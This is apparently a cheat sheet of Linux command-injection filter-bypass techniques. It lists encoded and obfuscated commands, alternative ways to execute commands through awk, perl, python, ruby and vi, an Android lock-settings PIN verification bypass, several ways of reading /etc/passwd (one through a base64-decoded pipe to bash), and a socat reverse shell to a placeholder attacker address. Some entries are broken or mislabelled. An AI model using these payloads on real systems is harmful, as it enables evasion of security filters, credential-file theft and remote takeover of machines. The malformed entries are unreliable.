Linux Bypass Techniques: Commands to Circumvent Restrictions
Explore various Linux bypass techniques to circumvent restrictions using shell commands such as hex encoding,
echoing, finding files, and more. Enhance your understanding of shell scripting with these effective methods.
Using hex encoding
$(echo -e "\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x77\x68\x6F\x61\x6D\x69")
Test bypass cmd locksettings Andorid
sh -c \
`\
c\
m\
d\
\ \
l\
o\
c\
k\
_\
s\
e\
t\
t\
i\
n\
g\
s\
\ \
\-\
\-\
v\
e\
r\
i\
f\
y\
\ \
1\
4\
7\
8\
9 \
`
List current files and folders
Using echo for list all files/dirs
Using awk
awk 'BEGIN {system("ls")}'
awk with ls -1
awk 'BEGIN { cmd="ls -1"; while (cmd | getline line) print line; close(cmd) }'
printf and for-loop
for f in *; do printf '%s\n' "$f"; done
Using find with -exec
find . -maxdepth 1 -exec basename {} \;
Using readlink
for f in *; do readlink -f "$f"; done
Using perl
perl -e 'opendir(DIR, "."); @files = readdir(DIR); foreach $file (@files) { print "$file\n"; } closedir(DIR);'
Using python (inline)
python -c 'import os; [print(f) for f in os.listdir(".")]'
Using ruby
ruby -e 'Dir.foreach(".") {|f| puts f}'
Using tee and Process Substitution
Using mapfile (Bash 4+)
mapfile -t files < <(ls -1); printf '%s\n' "${files[@]}"
Using xargs with ls
ls -1 | xargs -I {} echo {}
Another example of hex encoding""
echo -e '\x70\x69\x6E\x67'
Using printf""
printf '\x70\x69\x6E\x67'
Using base32 encoding"
# base32
$(echo "L2Jpbi9waW5nCg==" | base32 -d)
Hex encoding""
$(echo 2f62696e2f77686f616d69 | xxd -r -p)
Octal encoding"
$/usr/bin/who$'\157\141\155\151' #octal encoding
Using command substitution
Variable assignment and indirect reference
cmd="whoami"; $cmd
b=base64; $b<<<$(echo "Y2F0IC9ldGMvcGFzc3dkCg=="| base64 -d)|bash
Using IFS (Internal Field Separator)
IFS='/'; cmd="usr bin whoami"; $cmd
Using process substitution
Using alias
alias p='ping'; p localhost
Arithmetic expansion
echo $((0x70,0x69,0x6E,0x67))
PATH modification
PATH=.:/usr/bin:/bin; whoami
Hostname lookup
ping $(host -t a "example.com" | grep "has address" | cut -d" " -f4)
DNS TXT record lookup
dig +short txt "example.com"
Using socat for reverse shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR_IP:YOUR_PORT
Using awk
awk 'BEGIN {system("whoami")}'
Using perl
perl -e 'exec "/usr/bin/whoami";'
Using python
python -c 'import os; os.system("/usr/bin/whoami")'
Using ruby
ruby -e 'exec "/usr/bin/whoami"'
Using vi/vim
vi -c ':!whoami' -c ':q!'
Using ssh
ssh user@localhost whoami
Using awk with input redirection
awk '{print}' < /etc/passwd
Using grep with a pattern
Using xargs
echo /etc/passwd | xargs cat
Using head/tail commands
head -n 5 /etc/passwd
tail -n 5 /etc/passwd